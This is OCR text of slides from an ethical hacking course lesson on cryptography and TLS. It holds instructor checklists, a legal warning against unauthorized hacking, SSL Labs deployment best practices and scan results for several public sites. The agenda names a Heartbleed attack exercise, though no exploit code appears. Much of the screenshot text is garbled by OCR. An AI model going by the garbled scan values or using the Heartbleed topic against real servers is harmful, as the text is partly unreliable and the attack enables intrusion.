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Rich's lesson module checklist
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Slides and lab posted
WB converted from PowerPoint
Print out agenda slide and annotate page numbers

Flash cards

Properties

Page numbers

1st minute quiz

Web Calendar summary
Web book pages
Commands

Backup slides, whiteboard slides, CCC info, handouts on flash drive
Spare 9v battery for mic
Key card for classroom door

Update CCC Confer and 3C Media portals

Last updated 12/4/2016
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Evading Network
Devices TCP/IP
Network and
Cryptograph
YESSE N Computer Attacks
Hacking Wireless CIS 76 Footprinting and
Networks ) ) Social Engineering
Ethical Hacking
Hacking

Web Servers Port Scanning

Embedded Operating Enumeration

Systems
Desktop and Server Scripting and

Vulnerabilities Programming

Student Learner Outcomes
1.Defend a computer and a LAN against a variety of different types of
security attacks using a number of hands-on techniques.

2.Defend a computer and a LAN against a variety of different types of 9
security attacks using a number of hands-on techniques.
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Introductions and Credits

Rich Simms

 HP Alumnus.

« Started teaching in 2008 when Jim Griffin went on
sabbatical.

« Rich’s site: http://simms-teach.com

And thanks to:

Steven Bolt at for his WASTC EH training.

Kevin Vaccaro for his CSSIA EH training and Netlab+ pods.

EC-Council for their online self-paced CEH v9 course.

Sam Bowne for his WASTC seminars, textbook recommendation and fantastic
EH website (https://samsclass.info/).

Lisa Bock for her great lynda.com EH course.

John Govsky for many teaching best practices: e.g. the First Minute quizzes,
the online forum, and the point grading system (http://teacherjohn.com/).
Google for everything else!
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Browse to:

http://simms-teach.com

Click the CIS 76 link.

Clickthe Calendar link.

Locate today’s lesson.

Find the Presentation slides for

the lesson and download for

easier viewing.

6. Clickthe Enter virtual classroom
link to join CCC Confer.

7. Log into Opus with Putty or ssh

command.

nhwn

Note: Blackboard Collaborate Launcher only
needs to be installed once. It has already
been downloaded and installed on the
classroom PC’s.
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@ Blackboard Co x ¥ B Goog

simms-teach.com

x,
™ E

Rich's Cabg 1 . The CIS 90 System Playground

CIS 90 Calend| () CCC Confer SIMMS VIRTUAL CLASSROOM , s

=sal x|
File Edit View Tools Window Help

v AUDK) & VIDEO

CIS 90 (Spring s ¢/

CIS 90 - Lesson 1 ba” FI'IW

Class Activity - Where are you now?

Course Home Grd

Tek

[22=)
v PARTICIPANTS.

O Benfi Snms.
&

IS A

O Rich-Simms
>3

Y8 /708N ¥is

w CHAT

Ber Semms 2480
Where is a good place to get

a used version of the

optional textbooks?

cis90lesso....pdf Rich-Serms 2:48PM

Amazon has some good
prices night now

A One or more login
sessions to Opus

Q CIS 76 website Calendar page




CIS 76 - Lesson 14

1) Instructor gives you sharing privileges.

(") CCC Confer — RICH SIMMS VIRTUAL CLASSROOM
Eile Edit View Tools Window Help Elevated privigeTTTE =

« AUDIO & VIDEO

When User Account Control (UAC) is enabled on Vista, Application
Sharing in Blackboard Collaborate may be hosted with either standard or
elevated privileges. Elevated privileges are required to share
applications that use elevated privileges.

Select your desktop or an open application you would like to share.

Start Sh arin,g Elevated privileges are acquired via Tools > Application Sharing . . .
> Request Elevated Privileges. They can be relinquished via pns
Tools > Application Sharing > Yield Elevated Privileges (returning - _
you to standard privileges). If you are hosting an application jad 51121 deskiop
sharing session with standard privileges and you (or a person

remotely controlling your desktop or application) perform an

2) CI i C k Ove rl a p p i n g recta n g | es action that requires elevated privileges, Vista will prompt you

for consent via a UAC consent dialog. This will cause the

«+{WI Microsoft Word (winword.exe) 'Virtual classroom (locked).docx
CCC Confer (javaw.exe) 'CCC Confer — RICH SIMMS VIRTUAL
ticky Note

P- Microsoft PowerFoint (powerpnt.exe) 'cis0lesson01.ppbx - Mic

i S p rese nt th e n CI i C k i t a S W el I . If you are hosting an application sharing session with elevated é_ C:\Frogram Files (xB6)\putty.exe 'simbend0@oslab:~'

privileges and you perform an action that requires elevated
privileges, Vista will not prompt you for consent. Instead, the
action automatically will be either denied (if you are logged on

application sharing session to terminate. Also, without elevated

icon. If W h ite n Start S h arin g n text s e e T TR G L G

time than sharing the desktop (all of it or a region).

as a standard user) or allowed (if you are logged on as an
administrator).

D Never show this dialog again

3) Click OK button. ‘ | »

4) Select "Share desktop"
and click Share button.
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= Rich's CCC Confer checklist - setup cccCE) Gonfer

O
o

[ ] Preload White Board

(i) CCC Confer — 0 - RICH SIMMS

I [File Edit View Tools Window Help
H E EEE
l Load Content ] | Record | 0 ~ AUDIO & VIDEO - fh M

Audio Setup Wizard...

’
I

Microphone Settings...
Speaker Settings...

Maximum Simultaneous Talkers...
Adjust Microphane Level Up
Adjust Microphane Level Down

. ]

[ ] Connect session to Teleconference === e :
Tal Video ljust Speaker Level Down [}

|

. _ - Configure Telephone Conference.., ]

MAIN ROOM (2) S02HM PARTIEIPAITS T |§

. = Camera Settings... B

Session now connected ® Rich Simms U i

Moderator (You) Make Video Follow Moderator Facus 3

Make Video Follow Speak S;

Send Camera Snapshot To Whiteboard

to teleconference
—\’ % Teleconference P <
i

[ ]Is recordingon?

MZTET

Detach Panel
T . Ear - g L

+ AUDIO & VIDEO L -

@ [ Load Content ] [ Recording (® { HH 9

X

Red dot means recording—)

[ ] Use teleconferencing, not mic &

Should change
from phone
handset icon to
little Microphone
icon and the

)

|
Should be grayed out e Tal | [ video | SQ| Teleconferencing ...

e —— message displayed
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aa [ cis90lesson07.pdf * - Foxit Reader —— g , v v e
% ) /B = /= @ o ™ ONRC AT T I

View Tools Comments Forms SharePoint Hg

g Y 2 e o 4 N —
(i$stegelle iy i = = [l = C [ simms-teach.com/docs/cis90/cis-90-TEST-1-Fall-12.pdf W=
e wHE =2 Qs 8- s 2
ez ~ 4 Part 1 - Flashc é (1 point each)
r ~ -
® CCCConfer-0-RIC... [o @[] || 1 i : | , £
w i ?
File Edit View Tools Window Help 90 3 [Q1] What com, er users logged in to the computer
d = Al
w AUDIO & VIDEO D %= o D [l€e Al
. hname
¢
W / {Q2] What environment variable is used by the shell to determine which directories to
= search when locating a command?
: - y =
b fhSuiehs) i boot o etc sbin (A2] \
=5 @ simben90@oslab:~

( Tak | (e @)

egin as: simbenS0
Is sixben90@oslab.cabrillo.edu's password:

& s —— ||| g E N

§ w PARTICIPANTS -8 Accdgs denied
o simbeNgogoslab.cabrillo.edu's password: A
O Rich Simms 04 # Current directory Last 1dgin: Mon Oct & 18:58:43 201:[ERRSIICERCEIaI
B8 riocersior d.com Fle Edit View Inventory Administration Plug-ns
J 5 d Templ;
. 2 o F () source o g g |Q Home b g Inventory b @) Nsan Templates
- p Snn as e /- & &
MAIN ROOM (3 SQ2H% || R R } destination o &
O RichSi QUG - = géleg:rvm
mms He iz .
[ - = 3 Nelcom B [cs 19z { [Alarms [ Pef
Teleconference v E z Serving Cab: Bl Foa 01 a Clear
| & What command copies th b = | Statue a
o= c — Terminal type? [ . Vsphere Cllent ) rﬂ
g Terminal type is & po1-rod E——— oo @ 1.
. CHAT /home/cis90/ simbd putty e ) = _,,-I

AM)-

Recent Tasks Name. Target or Status contains: = Clear X%

Hame | Target | status | Details | Tnitiated by

(

- Teleconference joined the Main Room.

1| | )

[#] Tasks @ Marms | [License Period: 331 days remaining [CISLABwsimms 7
=

“f | G > & 0 e

I IS

10/10/2012 |

[ ] layout and share apps =)
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ccc(E:)Confer

-
{i) CCC Confer- 0 - RICH SIMMS

File Edit View [Tools

| Windew Help

+ AUDIO &

Application Sharing
Audio

Breakout Rooms
Chat

Graphing Calculator

In-Seszion Invite

L4 MNew Page

Deleta Page

Interaction r
Moderator 4 [ ] VldeO (Webca m)
) — Polling v
[ Tk Profie b [ ] Make Video Follow Moderator Focus
Recorder b |
¥ PARTICIPA Session Plan r
Rich Sin Telephony »
B Tirner L4
E Video Camera Settings...
_ Whiteboard Maxirmum Simultaneous Carmeras...
HA R:i:;:“m = qﬁ;‘;;} ¥ Make Video Follow Maoderatar Focus
Maderator (You) Make Video Follow Speaker
Send Camnera Snapshot To Whiteboard
1
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K\
Rich's CCC Confer checklist - EImo CCGOGonfer S
R
e 1 Settings =]
Image Mate The "rotate image"

Return al windows to their normal position

button is necessary
. . . . . if you use both the
| side table and the
| T white board.

Recording setting
Video quality

Quite interesting
IR that they consider
. . oterval te S | you to be an
| Elmo rotated down to view side table — "expert” in order to
LIVE image - Image Mate -] (B3] [ - use th[s button’
oI :
Rotate
image . .
button .Elmo rotated up to view white board
LIVE image - Image Mate -3 (%
Fleesiectima a W
Rotate
image
button

Run and share the Image Mate
program just as you would any other
app with CCC Confer €sL_mMo
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gst. 18959 ™

ccc ) Confer Rich's CCC Confer checklist - universal fixes

Universal Fix for CCC Confer:

1) Shrink (500 MB) and delete Java cache

2) Uninstall and reinstall latest Java runtime

3) http://www.cccconfer.org/support/technicalSupport.aspx

Control Panel (small icons) General Tab > Settings... 500MB cache size Delete these
-~ '@JEVECDMNWW‘ (=] o] 'Tempmaryﬁ\esSeﬂings ﬂ‘ rDeIeteFiIesand Applications ﬂ1

General | Java [ Security [ Advanced

Kecp temparary s on my computer "
/1", Delete the following files?
LN

About
Location
View version information about Java Control Pane.
Select the location where temporary files are kept:

bout... 5

N siich DataLacalLow\SunJava\D Change... Trace and Log Files
letwork Settings
Cached Applications and Applets
Network settings are used when making Internet connections. By default, Java wil sk space
5 fl [] Installed Applications and Applets

|| use the network settings in your web browser, Only advanced users should madify

these settings. Select the compression level for JAR files: None -

i Set the amount of disk space for storing temporary files:
|| Temporary Internet Files | v so0l=] MB
- :

lications are stored in a special folder for quick execution
rs should delete files or me these settings. I

i DeleteFies... | | RestoreDefaults |

|| Files youuse ppl
later. Only advanced use

11
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Start

12
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Sound Check

Students that dial-in should mute their line
using *6 to prevent unintended noises
distracting the web conference.

Instructor can use *96 to mute all student lines.

Volume

*4 - jncrease conference volume.
*7 - decrease conference volume.
*5 - jncrease your voice volume.

*8 - decrease your voice volume.

13
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Instructor: Rich Simms
Dial-in: 888-886-3951
Passcode: 136690

= > = -

2.
~ .
o~

- Carter~ DaveR.
- Sagal aves

___Jennifer
~~ -V\ ;;‘

S T e—"

Email me (risimms@cabrillo.edu) a relatively current photo of your face for 3 points extra credit
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Cryptography

Describe symmetric and asymmetric
cryptography.

Describe hashing.

Explain public key infrastructure
Carry out a Heartbleed attack against
OpenSSL.

NO QUIZ

Questions

In the news

Best practices

Final project
Housekeeping

Symmetric cryptography
Hashing

Digital signatures
Asymmetric cryptography
Digital certificates and PKI
Exchanging keys
Heartbleed vulnerability
Heartbleed exploit
Assignment

Wrap up

16
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Admonition

17
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Unauthorized hacking is a crime.

The hacking methods and activities
learned in this course can result in prison
terms, large fines and lawsuits if used in

an unethical manner. They may only be
used in a lawful manner on equipment you
own or where you have explicit permission
from the owner.

Students that engage in any unethical,
unauthorized or illegal hacking may be
dropped from the course and will receive
no legal protection or help from the

instructor or the college. 8
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Questions

19
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How this course works? <" -

Past lesson material?

Previous labs?

e —ERRE, AoNELEEF tmAE—ERENARE—E
Chinese | EIKi=,

Proverb He who asks a question is a fool for five minutes; he who does not ask a question

remains a fool forever.

20
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NEWS
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« HPE contractor's laptop was "compromised".
» No further information was given.
« "Unknown individuals" had accessed information on the laptop.

22


http://arstechnica.com/security/2016/11/us-navy-warns-134000-sailors-data-breach-hpe-laptop-compromised/
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Best
Practices
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SSL Labs
Recommendations
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SSL and TLS Best Practices
(From SSL Labs)

Private key and certificate

« Use 2048-bit private keys (either RSA 2048 or RSA 2048 + ECDSA
256)

« Protect private keys (password-protect them, revoke certificates if
compromised, and renew certificates at least yearly because it is
impossible to reliably revoke a compromised certificate).

« Ensure sufficient hostname coverage for all the names you want
users to use for your site (works with and without the www prefix
and is valid for every DNS name configured for it).

« Get certificates from a reliable CA.

« Use strong certificate signature algorithms (only SHA256 after
January 2016).

25



https://github.com/ssllabs/research/wiki/SSL-and-TLS-Deployment-Best-Practices
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SSL and TLS Best Practices
(From SSL Labs)

Configuration

« Use complete certificate chains including intermediate certificates
(use all the certificates provided to you by the CA).

« Use secure protocols:

« SSLv2 is not secure and must not be used.

« SSLv3 is not secure when used with HTTP. Subject to the POODLE
attack and weak when used with other protocols. Should not be used.

« TLSv1.0 shouldn'tbe used but typically still needed in practice. Subject
to the BEAST attack although mitigated by modern browsers.

« TLSv1.1 no known security issues.

« TLSv1.2 no known security issues and provides modern cryptographic
algorithms.

« Use secure cipher suites and avoid:
« ADH (Anonymous Diffie-Hellman)
« NULL cipher suites (simple form of steganography)
« Weak ciphers (typically of 40 or 56 bits)
« RC4 (easily broken)
« 3DES (slow and weak)

26
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SSL and TLS Best Practices
(From SSL Labs)

Configuration (continued)

Server should select best cipher suites from list client supports.

Use forward secrecy (protects earlier conversations in theh event a
private key is compromised).

Use strong key exchange, either Diffie-Hellman (DHE) with 2048
bits or the elliptical variant (ECDHE). RSA is still popular but
doesn't provide forward secrecy.

Mitigate known problems by running updated software.

27
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SSL and TLS Best Practices
(From SSL Labs)

Performance

« Avoid too much security. RSA keys with more than 2048 bits or
ECDSA keys with more than 256 bits waste CPU power and
slowdown users.

« Use session resumption by reusing previous cryptographic
operations.

«  WAN optimization. Too many TCP and TLS handshakes impact
performance. Minimize latency by avoiding new connections and
keeping existing connection open longer.

« Cache public content.

« Use OCSP stapling to handle revocation information during the TLS
handshake. This reduces the TLS connection time because the
client does not have to contact OCSP servers for certificate
validation.
28
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SSL and TLS Best Practices
(From SSL Labs)

Performance (continued)

Use CPUs that support hardware accelerated AES.

29
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SSL and TLS Best Practices
(From SSL Labs)

HTTP and Application Security
« Encrypt everything.

« Eliminate mixed content. MITM attacks can hijack the entire session
by using the undecrypted portions.

 Understand and acknowledge third-party trust. You need to trust
any third party services such as Google Analytics.

« Secure cookies.

« Secure HTTP compression. Application code needs to be made to
address TIME and BREACH attacks.

30
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SSL and TLS Best Practices
(From SSL Labs)

Validation

Use SSL/TLS assessment tool such as the free SSL Labs server
test.

Advanced Topics

Public key pinning. Web site operators can restrict which CAs can
issue certificates for their web sites. Used by Google and hard-
coded into Chrome.

DNSSEC and DANE. A set of technologies that add integrity to the

domain name system. Prevents attackers from hijacking DNS
requests and providing malicious responses.

31
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SSL Labs Server Testing

Qualys SSL Labs X

& - C | & httpsy//www.ssllabs.com/index.html| | B

@ Q UA LYS. SS I_ LABS Home Projects Qualys.com Contact

Test your server »

H OW WE LL DO Test your site’s cerfificate and configuration
f) Test your browser »
H Test your browser’s SSL implementafion

If you want to learn more about the SSL Pulse »
technology that protects the Internet, -l
you've come to the right place.

Documentation »
Learn how to deploy SSL/TLS correctly

Books News &) About SSL Labs
—— Bulletproof SSL and TLS is a SSL Labs Now Showing Multiple Certificate SSL Labs is a collection of documents, tools and
SSLANDTLS complete guide to deploying secure Chains thoughts related to SSL. It's an attempt to better
s servers and web applications. This November 22, 2016 understand how SSL is deployed. and an attempt to
book, which provides comprehensive make it better. | hope that. in time, SSL Labs will
@ coverage of the ever-changing field of Announcing SSL Labs Grading Changes for grow into a forum where SSL will be discussed and
e SSUTLS and Web PKI, is intended for 2017 improved.
IT security professionals. system November 16, 2016
administrators, and developers. with the main focus on SSL Labs is a non-commercial research efort, and
getting things done. MORE » Is HTTP Public Key Pinning Dead? we welcome participation from any individual and
September 6, 2016 organization interested in SSL.

— Ivan Ristié, Qualys

Copyright @ 2009-2016 Qualys. Inc. All Rights Reserved. Terms and Conditions

32
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SSL Labs Server Testing

S5L Server Test: simms-t= X

- ]

&« (& ‘ & https://www.ssllabs.com/ssltest/analyze html|?d=simms-teach.com

® QuaLys SSL LABS N

You are here: Home = Projects = SSL Server Test = simms-teach.com

SSL Report: simms-teach.com (208.113.154.64)

Assessed on: Tue, 29 Mov 2016 16:34:10 UTC | Hide | Clear cache

Summary

Overall Rating

Certificate
Protocol Support
Key Exchange

Cipher Strength

Visit our decumentation page for more information, configuration guides, and books. Known issues are documented here,

This site works only in browsers with SNI support.

Certificate #1: RSA 2048 bits (SHA256withRSA)

Server Key and Certificate #1
[l

Subject Fingarprint SHA1: 1b067¢cf e3de2e3bf4fdc3TH12dff34ebd0cable

simms-teach com

Pin SHA255: 5Q71Jcv0V0+7 DECVX3 +wiVRNHWoFf5GtPPET/G 1eGuc=

Qualys.com Contact

Scan Another »

w0 &

X

www.ssllabs.com/ssltest

B P

33
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SSL Labs Server Testing

Subject

Common names
Alternative names
Valid from

Valid until

Key

Weak key (Debian)

Issuer

Signature algorithm
Extended Validation
Certificate Transparency

OCSP Must Staple

Revocation information

Revocation status

Trusted

Certificate #1: RSA 2048 bits (SHA256withRSA)

— Server Key and Certificate #1
. 91

simms-teach.com
Fingerprint SHA1: 1b087cf1e3dc2c3bf4fdecaTi12dff34eb40cablc
Pin SHA258: 5QZ1JeyOWV0+7 DECvX3+wlVRNHwWoFIEGtPPET/G1eGuc=

simms-teach.com

simms-teach.com www.simms-teach.com

Man, 21 Moy 2016 12:25:00 UTC

sun, 19 Feb 2017 12:25:00 UTC (expires in 2 months and 20 days)
RSA 2048 bits (e 65537)

Mo

Let's Encrypt Authority X3
AlA: http:/icert.int-x3. letsencrypt.org/

SHAZ5G6WIthRSA
Mo

Mo

Mo

ocsP

O CSP: http:/focsp.int-x3.letsencrypt.org/
Good (not revoked)

Yes

34
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Additional Certificates (if supplied)

Certificates provided

Chain issues

#2

Subject

Valid until
Key
Issuer

Signature algorithm

Certification Paths

Path #1: Trusted

1 Sent by server
2 Sent by server
3 In trust store

CIS 76 - Lesson 14

2 (2481 bytes)

MNone

Let's Encrypt Authority X3
Fingerprint SHA1: e8a3b45b0682d500b3382262d106efed7d5056c
Pin SHAZ256: YLh1dURSy8Kja30RmANTJKnbQG/uEtLMkBgFF2Fuihg=

Wed, 17 Mar 2021 16:40:46 UTC (expires in 4 years and 3 months)
RSA 2048 bits (e 65537)
DST Root CA X3

SHA256wWithRSA

simms-teach.com

Fingerprint SHA1: 1b067cf1e3dc2c3bfdfdc37i12df34eb40cabZe

Pin SHAZ56: 5QZ1JeyOV0+7 DECYX3+wlVRNHwo FISGtPPET/G1eGuc=
RSA 2048 bits (e 65537) / SHA256withRSA

Let's Encrypt Authority X3

Fingermprint SHA1: eSa3b45b0682d500b3382282d108efe07d5055cc
Pin SHA258: YLh1dURBySHja30RmANT JKnbQG/uELLMkBgFF2Fuihg=
RSA 2048 bits (e 65537) / SHA256withRSA

DST Root CA X3 Self-signed

Fingermprint SHA1: dacB024f54dBfBdf04035fb1732638caBad 7713
Pin SHA256: VjsBrdz+B0wjNcrl Y KepWlboS | RBIWsWXhIMN+eWys=
RSA 2048 bits (e 65537) / SHATWIthRSA

Weak or insecure signature, but no impact on root cerlificate

35



Configuration

Protocols

TLS1.2
TLS 11
TLS1.0
S5L 3
S8L2

CIS 76 - Lesson 14

SSL Labs Server Testing

Yes
Yes
Yes

Mo

Mo

36
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SSL Labs Server Testing

Cipher Suites (SSL 3+ suites in server-preferred order; deprecated and S5L 2 suites at the end)

TLS_ECDHE_RSA_WITH_AES_128_ GCM_SHA256 (@xc@2f) ECDH secp256r (eq. 3072 bits RSA) FS 128
TLS_ECDHE_RSA_WITH_AES_256 GCM_SHAJS4 (8xc@3@) ECDH secp256r1 (eq. 3072 bits RSA) FS 256
TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 (8x9e) DH 2048 bits FS 125
TLS_DHE_RSA_WITH_AES_256_GCM_SHA3&4 (9x9f) DH2048 bits F3 256
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHAZ2H6 (@xc@27) ECDH secp?56rl (eq. 3072 bits RSA) FS 128
TLS_ECDHE_RSA_WITH_AES_128 CBC_SHA (8xc@13) ECDH secp258r1 (eq. 3072 bits RSA) FS 128
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384 (8xc@28) ECDH secp256r1 (eq. 3072 bits RSA) FS 256
TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (8xc@14) ECDH secp258r1 (eq. 3072 bits RSA) FS 256
TLS_DHE_RSA_WITH_AES_128_CBC_SHAZ256 (8x67) DH 2048 bits FS 128
TLS_DHE_RSA_WITH_AES_128_CBC_SHA (8x33) DH 2048 bits FS 128
TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 (8x6b) DH 2048 bits FS 256
TLS_DHE_RSA_WITH_AES_256_CBC_SHA (9x38) DH 2048 bits FS 256
TLS_RSA_WITH_AES_128_GCM_SHAZ256 (8x9c) 128
TLS_RSA_WITH_AES_256_GCM_SHA384 (8x94) 256
TLS_RSA_WITH_AES_128_CBC_SHAZ56 (8x3c) 128
TLS_RSA_WITH_AES_128_CBC_SHA (ax2f) 128
TLS_RSA_WITH_AES_256_CBC_SHA256 (9x3d) 256
TLS_RSA_WITH_AES_256_CBC_SHA (8x35) 256
TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA (0x88) DH 2048 bits FS 256
TLS_RSA_WITH_CAMELLIA_256_CBC_SHA (9x84) 256
TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA (0x45) DH 2048 bits FS 128

TLS_RSA_WITH_CAMELLIA_128_CBC_SHA (@x41) 128 37



Android 2.3.7 mo M1 ?

Android 4.0.4
Android 4.1.1
Android 4.2.2
Android 4.3
Android 4.4.2
Android 5.0.0
Android 6.0
Android 7.0

Baidu Jan 2015

BingPreview Jan 2015

Chrome 49 / XP SP3

Chrome 51 /Win7 r

Firefox 31.3.0 ESR / Win 7

Firefox 47 /'Win 7 r
Firefox 49 / XP SP3

Firefox 49 /Win 7 r

Gooqglebot Feh 2015

IEGIXP MoFs'!

IE ¥/ Vista
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Handshake Simulation

Incorrect certificate because this client doesnt support SMI

RSA 2048 (SHAZ58) | TLS 1.0 | TLS_DHE_RSA_WITH_AES_128_CBC_SHA | DH 2048

RSA 2048 (SHA258)

RSA 2048 (SHAZE5S)

RSA 2048 (SHA258)

RSA 2048 [SHAZES)

RSA 2048 (SHA258)

RSA 2048 [SHAZES)

RSA 2048 (SHA2E58)

RSA 2048 [SHAZES)

RSA 2048 (SHA2E58)

RSA 2048 (SHAZES)

RSA 2048 (SHA2E58)

RSA 2048 (SHAZES)

RSA 2048 (SHA2E58)

RSA 2048 (SHAZES)

RSA 2048 (SHA2E58)

RSA 2048 (SHAZES)

RSA 2048 (SHA2E58)

TLS 1.0

TLS1.0

TLS 1.0

TLS1.0

TLS12

TLS12

TLS12

TLS12

TLS 1.0

TLS12

TLS12

TLS12

TLS12

TLS12

TLS12

TLS12

TLS12

Senver closed connection

RSA 2048 (SHA2E5S)

TLS_ECDHE_RSA_WITH_AES 128_CBC_SHA
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
TLS_ECDHE_RSA_WITH_AES 128_CBC_SHA

TLS_ECDHE_RS&_WITH_AES_128_CBC_SHA

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA25G
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA25G

TLS_ECDHE_RS&_WITH_AES_128_GCM_SHAZ56

TLS_ECDHE_RSA_WITH_AES 128_CBC_SHA

ECDH secp258r1 F5

ECDH secp258r1 F5

ECDH secp258r1 F5

ECDH secp258r1 F5

CDH secp256r1

CDH secp258r

CDH secp256r1

CDH secp258r

ECDH secp258r1 F5

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHAZS6 ECDH secp256r1

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHAZSE
TLS_ECDHE_RSA WITH_AES_128_GCM_SHAZSE
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHAZSE
TLS_ECDHE_RSA WITH_AES_128_GCM_SHAZSE
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHAZSE
TLS_ECDHE_RSA WITH_AES_128_GCM_SHAZSE

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA25G

CDH secp256r1

CDH secp258r

CDH secp256r1

CDH secp258r

CDH secp256r1

CDH secp258r

CDH secp256r1

TLS 1.0 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA ECDH secp258r1 FS

Senver sent fatal alert: handshake_failure

FS

FS

FS

FS

FS

FS

FS

FS

FS

FS

FS

FS
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IEB-10/Win7 r RSA 2048 [SHA258) TLS 1.0 TLS_ECDHE_RSA_WITH_AES 128 CBC_SHA ECDH zsecp258r1 FS
IE11/Win7 r RS54 2048 [SHAZEE) TLS12 TLS DHE_RSA_WITH_AES 128 GCM_SHAZS56 DH 2048 FS
IE11/Win81r RSA 2048 (SHAZEE) TLS 1.2 TLS_DHE_RSA_WITH_AES_128_GCM_SHA256 DH 2048 FS

IE 10 /Win Phone 8.0 REA 2048 (SHA25G) TLS 1.0 TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA ECDH secp258r1 FS

IE 11 /Win Phone 8.1 r RSA 2048 (SHAZ5S) TLS12 TLS ECOHE_RSA_WITH_AES 128 CBC_SHAZS6 ECDH secp2&6r1 FS
IE 11 /Win Phone 8.1 Update r RSA 2048 [SHAZ2EE) TLS1.2 TLS DHE_RSA_WITH_AES 128 GCM_SHAZ256 DH 2048 FS

IE 11/ Win 10 r RSA 2048 [SHAZ25G) TLS 1.2 TLS_ECDHE_RSA_ WITH_AES_128_GCM_SHAZ256 ECDH secp25&r1 FS
Edge 13 /Win 10 r RS54 2048 [SHAZEE) TLS12 TLS ECDHE_RSA_WITH_AES 128 GCM_SHA256 ECDH secp25&rl FS
Edge 13 /Win Phone 10 r REA 2048 (SHA25G) TLE1.2 TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA2Z56 ECDH secp258r1 FS

Client does not support DH parameters = 1024 hits

Java Guds mo sHI-
E— RSA 2048 (SHAZSE) | TLS 1.0 | TLS_DHE_RSA_WITH_AES_128_CBC_SHA | DH 2048

Java Tuzs RSA 2048 (SHAZ258) TLS1.0 TLS ECDHE RSA_WITH_AES 128 CBC_SHA ECDH secp2B6r1 F3
Java 8u3i RSA 2048 [SHA2ES) TLS12 TLS_ECDHE_RSA_WITH_AES 128 _GCM_SHAZ256 ECDH secp256r1 FS
OpenssSL 0.9 8y RS54 2048 [SHAZEE) TLS1.0 TLS DHE_RSA WITH_AES 123_CBC_SHA DH 2048 FS

39
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Protocol Details

DROWN (experimental)

Secure Renegotiation

Secure Client-Initiated Renegotiation
Insecure Client-Initiated Renegotiation
BEAST attack

POODLE (S5Lv3)

POODLE (TLS)

Downgrade attack prevention
SSLTLS compression

RC4

Heartbeat (extension)

Heartbleed (vulnerability)

OpenSSL CCS vuln. (CVE-2014-0224)

OpenSSL Padding Oracle vuln.
(CVE-2016-2107)

Forward Secrecy
ALPN
NPN

Mo, server keys and hostname not seen elsewhere with S5Lv2

(1) For a better understanding of this test, please read this longer explanation
(2) Key usage data kindly provided by the Censys network search engine; original DROWN test here
(3) Censys data is only indicative of possible key and certificate reuse; possibly out-of-date and not complete

Supported

MNo

Mo

Mot mitigated server-side (more info) TLS 1.0: exce13
Mo, S5L 3 not supported (mare info)

Mo (more info)

Yes, TLS_FALLBACK_SCSV supported (more info)
Mo

Mo

Yes

Mo (more info)

Mo (more infio)

Mo (more infio)

Yes (with most browsers) ROBUST (more info)
Mo
Mo

40
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NPN Mo
Session resumption {(caching) Yes
Session resumption (tickets) Yes
OCSP stapling Mo
Strict Transport Security (HSTS) Mo
HSTS Preloading Mot in: Chrome Edge Firefox IE
Public Key Pinning (HPKP) Mo
Public Key Pinning Report-Only Mo
Long handshake intolerance Mo
TLS extension intolerance Mo
TLS version intolerance Mo
Incorrect SNI alerts Mo
Uses common DH primes Mo
DH public server param (Ys) reuse Mo
SSL 2 handshake compatibility Yas
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HTTP Requests

&

m https://simms-teach.com/ (HTTP/M.1 200 OK)

Miscellaneous

o

Test date Tue, 29 Nov 2016 16:32:27 UTC
Test duration 102.793 seconds

HTTP status code 200

HTTP server signature Apache

Server hostname apache2-dap giles.dreamhost.com

42
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- [m| X
S5L Server Test: www.cab X

<« (& | & https)//www.ssllabs.com/ssltest/analyze.html?d=www.cabrillo.edu

% 0 @ :

Q U A I_Y S. S S I_ LA B S Home Projects Qualys.com Contact

You are here: Home = Projects = S5L Senver Test = www.cabrillo.edu

SSL Report: www.cabrillo.edu (207.62.187.8)

Assessedon: Tue, 29 Nov 2016 16:51:00 UTC | Hide | Clear cache

Scan Another »

Summary

Overall Rating

Protocol Support

HKey Exchange

Cipher Strength

No support for TLS 1.2, which is the U s - . . -
only secure protocol version. MORE » I'I e <L e =L we

Visit our documentation page for more information, configuration guides, and books. Known issues are documented here.
This server supports weak Diffie-Hellman (DH) key exchange parameters. Grade capped to B. MORE INFO »
The server supports only older protocols, but not the current best TLS 1.2. Grade capped to C. MORE INFO »

The server does not support Forward Secrecy with the reference browsers. MORE INFO »
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S5L Server Test: nsa.gov | X

&«

- O

c | 8 https://www.ssllabs.com/ssltest/analyze.html?d=nsa.gov

% 0@

@ QUALYS. SSL I_ABS Home  Projects

You are here: Home = Projects = S5L Server Test = nsa.gov

SSL Report: nsa.gov (23.10.135.226)

Assessed on: Tue, 29 Nov 2016 16:53:01 UTC | Hide | Clear cache

Summary

Overall Rating

Certificate

Protocol Support

Key Exchange

Cipher Strength

Visit our documentation page for more information, configuration guides, and books. Known issues are documented here.

Certificate #1: RSA 2048 bits (SHA256withRSA)

— Server Key and Certificate #1

a
9 www.nsa.gov

Qualys.com Contact

Scan Another »

*
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— [m|
S5L Server Test: cabrille.i X

&« c | 8 https://www.ssllabs.com/ssltest/analyze.html?d=cabrillo.instructure.com&s=54.89.22.214& latest ‘i'-‘r| D @

@ QUALYS' SSL LABS Home  Projects  Qualys.com Contact

You are here: Home = Projects = S5L Server Test = cabrillo.instructure.com = 54.89.22.214

SSL Report: cabrillo.instructure.com (54.89.22.214)

Summary

Overall Rating

Certificate

Protocol Support

Key Exchange

Cipher Strength

0 20 40 60 80 100

Visit our documentation page for more infoermation, configuration guides, and books. Known issues are documented here.

Certificate #1: RSA 2048 bits (SHA256withRSA)

Server Key and Certificate #1

]
9 Domain Control Validated (OU}
